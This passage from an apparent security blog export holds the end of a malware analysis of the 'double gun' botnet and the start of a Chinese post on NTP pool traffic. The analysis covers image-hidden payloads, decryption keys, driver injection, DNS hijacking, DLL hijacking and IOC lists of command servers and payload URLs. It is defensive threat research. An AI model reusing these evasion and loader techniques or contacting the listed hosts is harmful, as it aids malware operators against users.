src=\"__GHOST_URL__/content/images/2020/04/pljx_pe_res-1.png\"/></div>\n\n+ Download configuration information\n\n This is where the encrypted configuration file is accessed http://mtdlq.oss-cn-beijing.aliyuncs.com/cscsmt.txt\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/get_mtdlq_cfg_code.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdlq_cfg.png\"/></div>\n\n The above page contains 8 lines of hexadecimal strings, looping the key **`B2 09 BB 55 93 6D 44 47`** to decrypt the exclusive-OR.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/xor_decrypt_code.png\"/></div>\n\n After decryption 8 Baidu tieba addresses show up.\n\n+ Download image file to cut and reassemble cs.dll file\n\n If you access the picture URLs, it looks like some randomly generated noises. \n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdlq_cfg_tieba_jpg.png\"/></div>\n\n Malicious programs download image files, each image to use **><>>><** as a marker to separate image data and malicious code data.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdlq_cfg_tiebao_jpg_cut_pe.png\"/></div>\n\n Putting all the malicious code together, we got the stage 2 malicious program cs.dll.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abcd_exp_EP.png\"/></div>\n\n The malicious program loads the above cs.dll through memory mapping, and then calls the export function abcd () to enter phase 2, so no file is created on the infected devices.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdl_load_cs_abcd.png\"/></div>\n\n### Phase 2 — Report host information, release and load malicious driver\n\ncs.dll will perform some simple virtual machine and anti-software countermeasures, and use the Baidu statistics service to report Bot information, then release the third-stage VMP packed driver (including both x86 and x64 versions).\n\n+ DES decryption algorithm\n\n The DES decryption algorithm in the sample is customized and implemented by the malware author, and the encryption mode is CBC with no padding. The conversion table of the DES encryption algorithm is the same as that of the old version **([see our old blog here](__GHOST_URL__/shuang-qiang-mu-ma-ji-chu-she-shi-geng-xin-ji-xiang-ying-chuan-bo-fang-shi-fen-xi/))**. The DES decryption involves two layers, the first layer of decryption uses the first string in Base64 decoding algorithm dBvvIEmQW2s = to obtain a binary data, and then use empty key **`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`** to decrypt it to obtain the **helloya\\x00** string, this string is a key to decrypt other large amounts of ciphertext data with the self-developed DES algorithm. The complete decryption process is as follows:\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/mal_des-1.png\"/></div>\n\n+ Check the virtual host environment VM and WM\n\n Determine whether it is a VMWare host by checking the entry table, and if it is a VM host code, exit.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_checkVM.png\"/></div>\n\n Check whether the system service **WayOSFw** exists, and exits directly if the service exists.\n \n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_checkWM.png\"/></div>\n\n+ Create Bot ID\n\n Use the system API to create the Bot ID of the host and write it to the registry **\"SOFTWARE\\\\PCID\"**,\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_create_bot_id.png\"/></div>\n\n+ Manage Bot with Baidu Statistics Service\n\n The developers of the malware borrowed some standard fields of the Baidu statistics interface to report sensitive information about the host. Because Baidu statistical service is used by a large number of websites, it is difficult to distinguish it, which makes it more difficult for security vendors to see and take action.\n\n The bot first uses a function called **DataWork ()** to forge a browser request and download the **hm.js** script.\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_GET_headers.png\"/></div>\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_datawork_dl_hm_js.png\"/></div>\n\n Save the user cookie information **HMACCOUNT** in the returned information to the registry.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_path.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_hm.png\"/></div>\n\n The **http://hm.baidu.com/hm.gif?** Interface give the bot author the ability to upload statistics scripts **this.b.v**, user Cookie, bot_id and other statistical information so the author can easily manage and assess the infected users.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_baidu_hm_gif_url.png\"/></div>\n\n+ Decrypt, create, and install drivers from **Dat** resources\n\n Check whether the installation XxGamesFilterand other underground game patches have been installed.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_checkGameProtectDriver.png\"/></div>\n\n Choose different resource IDs according to the installation situation and operating system version, each resource corresponds to a different version of the driver (32-bit systems use ID 111 or 109 resources, 64-bit systems use ID 110 or 112 resources).\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_load_Dat_res.png\"/></div>\n\n The resource is encrypted. Taking the decrypted 32-bit driver as an example, the data order is reversed first, and then the XOR is performed byte by byte with the system version value of 32 to obtain a VMP packed driver file.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_decrypt_Dat_GameGu_32.png\"/></div>\n\n Detect the presence of **TeSafethe** drive, if there is, the infection process stops. And calculate **\"TeSafe+{Computer Name}\"** the MD5 value to check whether the driver exists, if it is, that means the system has already been infected, the infection will stop.\n\n ```\n // string\n +00 54 65 53 61 66 65 2B 57 49 4E 2D 52 48 39 34 50 TeSafe+WIN-RH94P \n +10 42 46 43 37 34 41 00 00 00 00 00 00 00 00 00 00 BFC74A.......... \n\n // MD5 value \n +00 46 34 36 45 41 30 37 45 37 39 30 33 33 36 32 30 F46EA07E79033620 \n +10 43 45 31 33 44 33 35 44 45 31 39 41 41 43 34 32 CE13D35DE19AAC42 \n ```\n\n\n If the `EnableCertPaddingCheck` in the registry key is closed, the last 16 bytes of of the file will be replaced by some random data. By doing this, the HASH value of the sample on each infected host is completely different, which renders the HASH based anti-virus system blind.\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_checkEnableCertPaddingCheck.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_padding_rand_data_code.png\"/></div>\n\n Release the driver to the TEMP directory, and the file name is a random string with a length of 7. \n \n E.g:**\"C:\\Users\\{User Name}\\AppData\\Local\\Temp\\iiitubl\"**\n \n Register the driver file to start the service and check whether the installation is successful.\n \n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_check_drv_install.png\"/></div> \n\n### Phase 3 — Hijack system processes and download subsequent malicious programs\n\nThe drive will copies itself to Windows/system32/driver/{7 random letters}.sys to disguise itself as a legitimate drive, such as fltMgr.sys, and inject DLL module to the system processes Lassas.exeand svchost.exe. After the entire initialization process is completed, a driver and DLL module work together to complete the work mode through DeviceIoControl () , which is a driver-level downloader. All sensitive configuration information is stored inside the driver. The DLL obtains the configuration server related information by calling the driver. According to the downloaded configuration information, it goes to Baidu Tieba to download other malicious code to carry out the next stage of malicious activities.\n\n+ After the driver runs, use the APC injection method to inject the DLL module into the system process Lassas.exe.\n \n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_inject_lsass.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_inject_apc.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/lassas_inected_dll_mem_layoout.png\"/></div> \n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/lassas_inected_dll_mem_PE_header.png\"/></div> \n\n\n+ The DLL cooperates with the execution process of the driver.\n\n The DLL first attempts to create mutually exclusive objects **{12F7BB4C-9886-4EC2-B831-FE762D4745DC}** to prevent the system from creating multiple instances.\n \n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_create_mutex.png\"/></div> \n\n Then it will check the existence of Lsass.exe or svchost.exe to ensure that it is not running in an analysis environment such as sandbox.\n \n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_check_host_process.png\"/></div>\n\n Try to create a device **\"\\\\.\\F46EA07E79033620CE13D35DE19AAC42\"** handle, establish communication and drive modules.\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_open_tesafe.png\"/></div> \n\n Send **0x222084** device control code to the driver to obtain the configuration information of the connection server. The communication with the configuration server uses the double encryption method of HTTPS + DES. The configuration information contains three important parts:\n \n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_deviceio_get_init_cfg.png\"/></div> \n\n 1. **https://cs.wconf5.com:12709/report.ashx** is used for DLL to report basic host information such as bot id and installation time.\n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_all.png\"/></div> \n\n Whether 360 antivirus is installed and whether it is a virtual machine environment.\n \n <div align=\"center\"><img width=\"700\" src=\"/content/images/2020/04/dl_drv_collect_host_info_vm_av.png\"/></div>\n \n Whether it is a diskless workstation.\n\n The host information reported is encrypted using DES, and the key is HQDCKEY1.\n\n 2. Access **https://cs.wconf5.com:12710/123.html** to download configuration information:\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_get_cfg_123.png\"/></div> \n\n The configuration information is still deformed DES encryption, and the decryption key is **HQDCKEY1**. After decryption, you can see that the configuration information uses a custom format. Two Baidu pictures form a group, and the valid data is intercepted and stitched into a valid file:\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_cfg_123_decrypted.png\"/></div> \n\n 3. Configuration information https://share.weiyun.com/5dSpU6a, we have yet to find out what is this for:\n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_query_weiyun.png\"/></div>\n\n All configuration information returned by the driver samples contains a Tencent Weiyun address. Direct access to this address will reveal a string of several characters and numbers. \n\n It seems that the data on the weiyun page and the configuration server share some patterns. Take the above picture as an example, accessing Tencent Weiyun will obtain a string **cs127**. The subdomain of the profile server in the same set of data is **cs.xxxx.com** and the port is **127xx**. This looks like a strategy for dynamically generating configuration file server addresses. We speculate that it may be a function in the development stage, so the sample code does not contain the corresponding code yet.\n\n After completing the above initialization process, the driver runs in full spead. According to the parsed configuration file, the dll and the driver module can archive complex functions, some of which are listed below.\n\n+ Update driver files\n\n The program will use another set of algorithms to get the DES decryption key **HelloKey**, and finally use the DES algorithm to get the final data:\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_decrypt_hellokey.png\"/></div> \n\n Hijack the ip address.\n \n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_hijack_process_ip.png\"/></div> \n\n Add a certificate to the system\n \n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_add_root_cert.png\"/></div> \n\n Download files to the TEMP directory and create process.\n \n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_tmp_create_process.png\"/></div> \n\n Tampering with DNS configuration\n \n <div align=\"center\"><img width=\"900\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_setDns.png\"/></div>\n\n PAC proxy hijacking\n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_hijack_pac.png\"/></div> \n\n---\n\n## Infection method 2 — DLL hijacking\n\nInfection method 2 still uses the underground game launcher, but there are big differences with the prior method\n\n<div align=\"center\"><img width=\"80%\" src=\"__GHOST_URL__/content/images/2020/04/client2_home_page.png\"/></div> \n\nThe downloaded patch software\n\n<div align=\"center\"><img width=\"80%\" src=\"__GHOST_URL__/content/images/2020/04/clinet2_zip_file.png\"/></div> \n\nA popular component **photobase.dll**, of multiple underground game client software will be replaced with a malicious DLL files which uses the same name. The PE of the malicious DLL file contains three key files:\n\n<img src=\"__GHOST_URL__/content/images/2020/04/photobase_dll_pe_rsrc.png\" style=\"zoom:80%;\" />\n\nThe new **photobase.dll** has two key actions:\n\n1.\tRelease the malicious code, registere and start the system service;\n\n2.\tLoad the real photobase.dll file and forward the exported function to the real photobase.dll.\n\nThe subsequent infection process is the same as above. This is a standard DLL hijacking loading method.\n\n### Phase 1 — Release and load the malicious driver\n\nPhotobase.dll malicious file will first generate a random file name for the upcoming release of malicious drive file, the file name is made up of 10 random characters, file suffix **.dat**, and put their PE Resource driver files into the appropriate **\"%windir%\\Temp\\\"** directory.\n\nThen register the system service for the landing malicious driver file and start the service:\n\n<img src=\"__GHOST_URL__/content/images/2020/04/photobase_dll_load_driver.png\" style=\"zoom:70%;\" />\n\nThe next activity of the malicious driver is the same as the first infection method, which is to download, decrypt and finally load other malicious files.\n\n### Phase 2 — Load the real photobase.dll\n\nThe first 2 bytes of the real photobase.dll file in the malicious photobase.dll PE Resource are emptied:\n\n<img src=\"__GHOST_URL__/content/images/2020/04/photobase_dll_PE_rsrc_real_dll.png\" style=\"zoom:80%;\" />\n\nWhen malicious photobase.dll extracts this file from PE Resource, the first 2 bytes will be filled with **MZ** (PE file header):\n\n<img src=\"__GHOST_URL__/content/images/2020/04/photobase_dll_fix_PE_file_header.png\" style=\"zoom:60%;\" />\n\nThen, the malicious photobase.dll file will load the dynamic link library for the real photobase.dll file which is just loaded, and import related functions, then forward the export function in the real photobase.dll. The export function of partial forwarding is as follows:\n\n<img src=\"__GHOST_URL__/content/images/2020/04/part_of_forwarded_funcs.png\" style=\"zoom:80%;\" />\n\nTake the above **Sqm::AddToStream()** as an example, the forwarding function of the malicious photobase.dll is as follows:\n\n<img src=\"__GHOST_URL__/content/images/2020/04/forwarded_func.png\" style=\"zoom:70%;\" />\n\n## Baidu Security Team Statement\n\nBased on the massive threat intelligence, Baidu security anti-underground-economy platform had taken cooperate actions to calculate the botnet's infection, provide risk warnings to infected users, and eventually blocked all the malware download. \n\nDuring this joint action, we had a better understanding on double gun gang's technical means, logic, and rules, by sharing, analysising, and reponse to the related threat intellignece. \n\n\n## Appendix\n\n### Custom conversion table in DES encryption and decryption algorithm:\n\nThe following conversion table is different from most public implementations of DES encryption and decryption. The left shift number table and SBox table are the same as the common DES algorithm implementation.\n```\n# Permutation and translation tables for DES\n__pc1 = [\n 56, 48, 40, 32, 24, 16, 8,\n 0, 57, 49, 41, 33, 25, 17,\n 9, 1, 58, 50, 42, 34, 26,\n 18, 10, 2, 59, 51, 43, 35,\n 62, 54, 46, 38, 30, 22, 14,\n 6, 61, 53, 45, 37, 29, 21,\n 13, 5, 60, 52, 44, 36, 28,\n 20, 12, 4, 27, 19, 11, 3\n]\n# permuted choice key (table 2)\n__pc2 = [\n 13, 16, 10, 23, 0, 4,\n 2, 27, 14, 5, 20, 9,\n 22, 18, 11, 3, 25, 7,\n 15, 6, 26, 19, 12, 1,\n 40, 51, 30, 36, 46, 54,\n 29, 39, 50, 44, 32, 46,\n 43, 48, 38, 55, 33, 52,\n 45, 41, 49, 35, 28, 31\n]\n# initial permutation IP\n__ip = [\n 57, 49, 41, 33, 25, 17, 9, 1,\n 59, 51, 43, 35, 27, 19, 11, 3,\n 61, 53, 45, 37, 29, 21, 13, 5,\n 63, 55, 47, 39, 31, 23, 15, 7,\n 56, 48, 40, 32, 24, 16, 8, 0,\n 58, 50, 42, 34, 26, 18, 10, 2,\n 60, 52, 44, 36, 28, 20, 12, 4,\n 62, 54, 46, 38, 30, 22, 14, 6\n]\n# Expansion table for turning 32 bit blocks into 48 bits\n__expansion_table = [\n 31, 0, 1, 2, 3, 4,\n 3, 4, 5, 6, 7, 8,\n 7, 8, 9, 10, 11, 12,\n 11, 12, 13, 14, 15, 16,\n 15, 16, 17, 18, 19, 20,\n 19, 20, 21, 22, 23, 24,\n 23, 24, 25, 26, 27, 28,\n 27, 28, 29, 30, 31, 0\n]\n# 32-bit permutation function P used on the output of the S-boxes\n__p = [\n 15, 6, 19, 20, 28, 11,\n 27, 16, 0, 14, 22, 25,\n 4, 17, 30, 9, 1, 7,\n 23, 13, 31, 26, 2, 8,\n 18, 12, 29, 5, 21, 10,\n 3, 24\n]\n# final permutation IP^-1\n__fp = [\n 39, 7, 47, 15, 55, 23, 63, 31,\n 38, 6, 46, 14, 54, 22, 62, 30,\n 37, 5, 45, 13, 53, 21, 61, 29,\n 36, 4, 44, 12, 52, 20, 60, 28,\n 35, 3, 43, 11, 51, 19, 59, 27,\n 34, 2, 42, 10, 50, 18, 58, 26,\n 33, 1, 41, 9, 49, 17, 57, 25,\n 32, 0, 40, 8, 48, 16, 56, 24\n]\n```\n\n##Contact us\n\nReaders are always welcomed to reach us on **[twitter](https://twitter.com/360Netlab)** or email **netlab[at]360.cn** to netlab at 360 dot cn.\n\n## Part of IOC:\n\n### C&Cs\n\n```\npro.csocools.com\nwww.w15773.com\ncs.wconf5.com\ncs.ledfaguang.com\nwhite.fei46413.com\n```\n\n### MD5\n\n```\naa497dfb5a92c28f7fa5b8e049155da0\n081e586a6010b3b72ba4934f8cbdb368\n04db0b062c7491a124bf7388d783c17e\n0c0f43ed8317869918a23a7e7bfeb0e8\n1785ef2d8bd40d8af32cca0f536cb6e8\n3fb5e2c05b73168c3f259d64b8978a64\n```\n\n### URLs\n\n```\nhttps://share.weiyun.com/5XqTYW6\nhttps://www.w15773.com:12310/123.html\nhttps://www.w15773.com:12309/report.ashx\nhttp://www.w15773.com:12313/config.html\nhttp://www.w15773.com:8889/stat1.ashx\n\nhttps://pro.csocools.com:12310/123.html\nhttps://pro.csocools.com:12309/report.ashx\nhttp://pro.csocools.com:8889/stat1.ashx\n\nhttps://share.weiyun.com/5dSpU6a\nhttps://cs.wconf5.com:12709/report.ashx\nhttps://cs.wconf5.com:12710/123.html\nhttps://cs.wconf5.com:12713/config.html\nhttps://cs.wconf5.com:12715/GetTag.ashx\nhttp://cs.wconf5.com:8889/stat1.ashx\n\nhttps://cs.ledfaguang.com:12710/123.html\nhttps://cs.ledfaguang.com:12709/report.ashx\nhttp://cs.ledfaguang.com:12713/config.html\nhttp://cs.ledfaguang.com:8889/stat1.ashx\n\nhttp://white.fei46413.com:12313/config.html\nhttp://white.fei46413.com:8889/stat1.ashx\n\nhttps://ap.echoit1.com:12310/123.html\nhttps://ap.echoit1.com:12309/report.ashx\nhttps://ap.echoit1.com:12710/123.html\nhttps://ap.echoit1.com:12709/report.ashx\n\nhttp://tiebapic.baidu.com/tieba/pic/item/72f082025aafa40fcbf1a1b9bc64034f78f0199a.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/bf096b63f6246b600e2fa810fcf81a4c510fa2b4.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/c83d70cf3bc79f3da8c48b54ada1cd11728b29a8.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/8326cffc1e178a82281910c4e103738da977e8a9.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/0823dd54564e9258e210e98a8b82d158ccbf4ea9.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/a2cc7cd98d1001e9331b7b6baf0e7bec54e797aa.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/241f95cad1c8a786800c256a7009c93d70cf50ab.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/63d0f703918fa0ecb6e10b69319759ee3d6ddbb4.jpg\n\nhttp://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5eb378927646030007b27a3f |
post | null | 2020-05-20T11:08:40.000Z | 63873b9a8b1c1e0007f52f72 | look-at-ntp-pool-using-dns-data | 0 | 2020-05-26T01:41:49.000Z | public | published | null | 2020-05-26T01:41:46.000Z | 从DNS角度看NTP pool服务器的使用 | <p>随着互联网的快速发展，其已经深入到日常生活中的方方面面，越来越多的业内人员对于网络基础设施的重要性有了非常深入的认识。不过谈到基础设施，通常都会谈及DNS协议，但是还有一个关键的协议NTP（<strong>N</strong>etwork <strong>T</strong>ime <strong>P</strong>rotocol）却没有得到应有的重视。</p><p>NTP是否能够良好的工作会影响到计算机系统的大部分基于时间判定的逻辑的正确运行。比如DNSSEC是否过期，IPSEC的隧道建立，TLS证书的有效性校验，个人密码的过期，crontab任务的执行等等[1]。</p><p>NTP协议同DNS类似，是互联网最古老的协议之一，主要作用如其名字所说，用来保持设备时间的同步。在我们使用的操作系统比如windows，Android或者Macos都配置有自己的NTP时间服务器来定期同步设备上的时间。</p><h2 id="ntp-pool-">NTP pool 是什么？</h2><p>由于互联网的发展以及NTP业务的特殊性（时间需要定期同步），少量的NTP服务器的负载越来越大，并且公共一级NTP授时服务器存在被滥用的问题，2003年1月NTP pool项目正式设立。</p><p>其基本原理通过域名“pool.ntp.org”基于特定规则划分为多个子域名并在这些子域名上使用DNS轮询来提供所需的服务器IP地址来给客户端使用，这种技术类似于恶意软件所使用的DNS的fastflux技术，不过要早很多。如果读者基于DNS数据做过fastflux的检测，那么对 pool.ntp.org必然不会陌生，它是去噪的主要对象。</p><p>关于NTP pool的更多内容请参考<a href="https://zh.wikipedia.org/wiki/NTP_pool">这里</a>[2]。</p><h2 id="dnsmon">DNSMon</h2><p>DNSMon是360netlab开发的基于海量DNS数据（国内5%左右的DNS流量）并结合whois，web，沙箱，蜜罐等多维度数据，对恶意域名进行综合分析，提取和拦截的安全系统。每天可以产生上千条恶意和高可疑域名黑名单，服务于国内大约2000万用户，并已稳定运行2年半。在无规则前提下，已拦截MSRAMiner，GodLua等十余种挖矿，DDoS等僵尸网络。</p><p></p><!--kg-card-begin: markdown--><h2 id="dnsntppool">从DNS数据看NTP pool业务</h2>
<p>NTP pool的这种利用少量域名使用DNS轮询来提供IP地址的服务由于访问量巨大，并且映射到大量的分散的IP地址，在DNSMon 中是非常显眼的存在。</p>
<p>从DNS角度除了能够对NTP pool自身业务规模的评估之外，还可以对互联网业务做到大致的评估，毕竟几乎所有的联网设备都要进行时间同步（从DNSMon的数据来看确实有少量的联网设备存在时间漂移问题，设备数量大概不到总数的万分之二）。</p>
<p>为了准确的评估NTP pool的业务情况，我们从DNSMon中选取了20200519 18:00 ～ 20200520 18:00 24小时NTP pool的数据分别从NTP pool自身业务以及使用该服务的互联网用户角度来进行评估。</p>
<h3 id="">服务用户数</h3>
<p>NTP pool在其官网显示其服务用户数量在500万～1500万之间[3],服务器IP则在4000左右[4]。我们利用DNSMon对其在国内的业务规模做一个简单的评估。</p>
<p>在所收集数据的24小时期间，共有88万不同的客户端访问了NTP pool所提供的时间同步服务。考虑到我们系统的数据覆盖，在国内使用NTP pool时间同步服务的用户数量就会接近其官网声明的用户数量的上限。</p>
<h3 id="">服务器情况</h3>
<h4 id="">基本统计</h4>
<p>NTP pool服务器IP数量3758个，其中IPv6：1028个，IPv4:2730个，分布在全球97个国家和地区。主要集中在美、德、法、英、荷、加等网络比较发达的国家，具体分布图如下：</p>
<p><img src="__GHOST_URL__/content/images/2020/05/server_country.png" alt="server_country" loading="lazy"></p>
<h4 id="ntp">NTP服务器在国内的情况</h4>
<p>从上图可以看出，国内NTP服务器的IP个数只占总NTP pool内活跃IP数量的2%。这一数值比其他网络服务所占比例要低的多。</p>
<p>从运营商角度来看，在NTP pool中的国内的运营商共有25家，具体分布如下：</p>
<pre><code> 7 3462|Data_Communication_Business_Group
6 37963|Hangzhou_Alibaba_Advertising_Co.,Ltd.
5 4538|China_Education_and_Research_Network_Center
5 45090|Shenzhen_Tencent_Computer_Systems_Company_Limited
4 132203|Tencent_Building,_Kejizhongyi_Avenue
3 4808|China_Unicom_Beijing_Province_Network
2 9381|HKBN_Enterprise_Solutions_HK_Limited
2 9304|HGC_Global_Communications_Limited
2 36351|SoftLayer_Technologies_Inc.
2 133752|Leaseweb_Asia_Pacific_pte._ltd.
2 10229|Internet_Content_Provider
1 9312|xTom
1 8075|Microsoft_Corporation
1 58461|No.288,Fu-chun_Road
1 55990|Huawei_Cloud_Service_data_center
1 5580|Hibernia_Networks_(Netherlands)_BV
